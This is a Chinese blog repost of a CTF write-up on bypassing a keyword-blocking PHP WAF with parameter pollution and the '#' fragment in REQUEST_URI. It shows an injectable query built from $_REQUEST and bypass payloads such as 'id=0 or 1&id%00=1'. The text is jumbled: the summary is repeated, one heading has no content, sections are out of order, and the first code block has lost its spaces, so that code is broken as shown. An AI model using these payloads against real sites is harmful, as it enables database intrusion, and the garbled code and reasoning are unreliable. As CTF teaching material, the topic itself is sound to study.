PHP的兩個特性導致waf繞過注入(有趣的知識點)
阿新 • • 發佈:2019-02-12
1、HPP HTTP引數汙染
HTTP引數汙染指的是,在URL中提交相同鍵值的兩個引數時,伺服器端一般會進行一些處理。比如Apache就要以最後一個引數為準,比如:
user.php?id=111&id=222
如果輸出$_GET陣列,則id的值只會取222,即URL上提交的多餘值覆蓋了前一個值。
2、一個CTF題目
3、總結 這種特性導致的漏洞場景比較特殊,首先,CTF中模擬的場景是waf函式只對GET,POST,SESSION,COOKIES全域性陣列進行的處理,注入點為REQUEST,在場景中,程式碼對REQUEST陣列通過$_SERVER['REQUEST_URI'],使用&分割重新組裝的,這種程式碼處理可能是由於程式設計師想對REQUEST陣列進行轉義或者一些淨化處理才加進來的。 利用: (1)HPP特性,提交重複引數內容,PHP處理引數時會覆蓋,但是程式拼接時會出現差異, 比如提交:http://127.0.0.1/shell.php?id=0 or 1&id%00=1 GET為id=1,REQUEST為:
關於注入的waf繞過,注入點為:
$sql="select * from user where id=".$_REQUEST["id"].";";
可以看到了REQUEST進行傳遞,並且存在如下的waf程式碼:
這裡使用了waf函式分別對GET POST SESSION COOKIE資料進行過濾,並且對這些全域性陣列進行轉義。 值得注意的是,這裡的$_REQUEST是程式碼中重新根據$_SERVER['REQUEST_URI']進行拼接,在拼接過程中將引數值進行轉義操作。 (1)思路1 使用HPP特性 看似不太可能存在注入,但是使用HPP可以實現。 示例程式碼:functionwaf($str) { if(stripos($str,"select")!==false) die("Be a good person!"); if(stripos($str,"union")!==false) die("Be a good person!"); ...... } functionwafArr($arr) { foreach($arras$k=> $v) { waf($k); waf($v); } } wafArr($_GET); wafArr($_POST); wafArr($_COOKIE); wafArr($_SESSION); functionstripStr($str) { if(get_magic_quotes_gpc()) $str= stripslashes($str); returnaddslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8')); } $uri= explode("?",$_SERVER['REQUEST_URI']); if(isset($uri[1])) { $parameter= explode("&",$uri[1]); foreach($parameteras$k=> $v) { $v1= explode("=",$v); if(isset($v1[1])) { $_REQUEST[$v1[0]] = stripStr($v1[1]); } } } functionstripArr($arr) { $new_arr= array(); foreach($arras$k=> $v) { $new_arr[stripStr($k)] = stripStr($v); } return$new_arr; } $_GET=stripArr($_GET); $_POST=stripArr($_POST); $_COOKIE=stripArr($_COOKIE); $_SESSION=stripArr($_SESSION);
user.php?id=0 or 1&id%00=1
user.php?id=0 or 1&%20id=1
user.php?id=0 or 1?&id=1
測試程式碼:
輸出結果: 可以看到,這裡的GET陣列取到了最後一個值,不會觸發waf,而REQUEST資料中,id則為我們的注入語句,這樣 利用這兩者之間的差異,我們可以繞過waf函式的檢測,並且利用之前的注入點來實現注入。 (2)思路2: 利用#特性($_SERVER['REQUEST_URI']) 在瀏覽器中,是不會將#號之後的hash內容傳送給伺服器的,這裡利用burp發包,可以將hash的內容傳送至伺服器,比如傳送: /#?id=1 這裡GET陣列為空,REQUEST則輸出為/#?id=1,這樣,就可以繞過waf函式對GET陣列的判斷, 並且在REQUEST(這裡主要因為REQUEST陣列是使用了REQUEST_URI進行了重組)中攜帶注入的語句,繞過了waf檢測。<?php function stripArr($arr) { $new_arr = array(); foreach ($arr as $k => $v) { $new_arr[stripStr($k)] = stripStr($v); } return $new_arr; } function stripStr($str) { if (get_magic_quotes_gpc()) $str = stripslashes($str); return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8')); } $uri = explode("?",$_SERVER['REQUEST_URI']); if(isset($uri[1])) { $parameter = explode("&",$uri[1]); foreach ($parameter as $k => $v) { $v1 = explode("=",$v); if (isset($v1[1])) { $_REQUEST[$v1[0]] = stripStr($v1[1]); } } } var_dump($_GET) ; var_dump($_REQUEST) ; ?>
3、總結 這種特性導致的漏洞場景比較特殊,首先,CTF中模擬的場景是waf函式只對GET,POST,SESSION,COOKIES全域性陣列進行的處理,注入點為REQUEST,在場景中,程式碼對REQUEST陣列通過$_SERVER['REQUEST_URI'],使用&分割重新組裝的,這種程式碼處理可能是由於程式設計師想對REQUEST陣列進行轉義或者一些淨化處理才加進來的。 利用: (1)HPP特性,提交重複引數內容,PHP處理引數時會覆蓋,但是程式拼接時會出現差異, 比如提交:http://127.0.0.1/shell.php?id=0 or 1&id%00=1 GET為id=1,REQUEST為:
'id' =>'0%20or%201'(length=10) 'id%00' =>'1'(length=1)可以看到,成功將注入內容引入到REQUEST陣列中。 (2)利用#符號,#後面的內容不會帶入至GET陣列中,但是會出現在REQUEST_URI中,所以可以利用這個特性將注入語句帶入到REQUEST物件中。 總之,這種特性導致的漏洞場景比較特殊,但是確實比較有趣。